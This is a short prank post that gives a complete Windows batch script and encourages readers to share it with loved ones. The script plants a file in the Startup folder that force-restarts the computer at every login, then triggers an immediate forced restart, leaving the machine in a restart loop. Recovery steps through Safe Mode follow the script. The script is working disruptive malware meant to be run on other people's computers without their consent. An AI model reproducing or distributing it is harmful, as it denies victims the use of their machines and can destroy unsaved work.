this will create a restart loop.
🔹 Step 1: The Batch File
save this in notepad and save as .bat format and save as All files.
after creating .bat file you can share it with your love ones.
warning : try it on your own risk

@echo off
:: ------------------------------
:: SetupRestart.bat
:: This file will:
:: 1. Create RestartNow.bat
:: 2. Place a shortcut in Startup folder
:: 3. Restart PC immediately
:: ------------------------------
:: Define paths
set "StartupFolder=%AppData%\Microsoft\Windows\Start Menu\Programs\Startup"
set "RestartBat=%StartupFolder%\RestartNow.bat"
:: Create RestartNow.bat that forces restart on boot
echo @echo off > "%RestartBat%"
echo shutdown /r /t 0 /f >> "%RestartBat%"
:: Confirm file creation
echo Restart script created at: %RestartBat%
:: Force restart immediately
shutdown /r /t 0 /f
🛠 How to Stop the Restart Loop
1. Boot into Safe Mode
- Restart your PC.
- While it’s booting, press F8 (or Shift + F8 on some systems, or Shift + Restart → Troubleshoot).
- Choose Safe Mode (or Safe Mode with Command Prompt).
2. Delete the Restart Script
Once in Safe Mode:
- Open File Explorer and go to:
%AppData%\Microsoft\Windows\Start Menu\Programs\Startup
- Delete the file
RestartNow.bat
(or the shortcut you created).
Or, open Command Prompt (in Safe Mode) and type:
del "%AppData%\Microsoft\Windows\Start Menu\Programs\Startup\RestartNow.bat"
3. Reboot Normally
- Restart your PC again → it should boot normally now.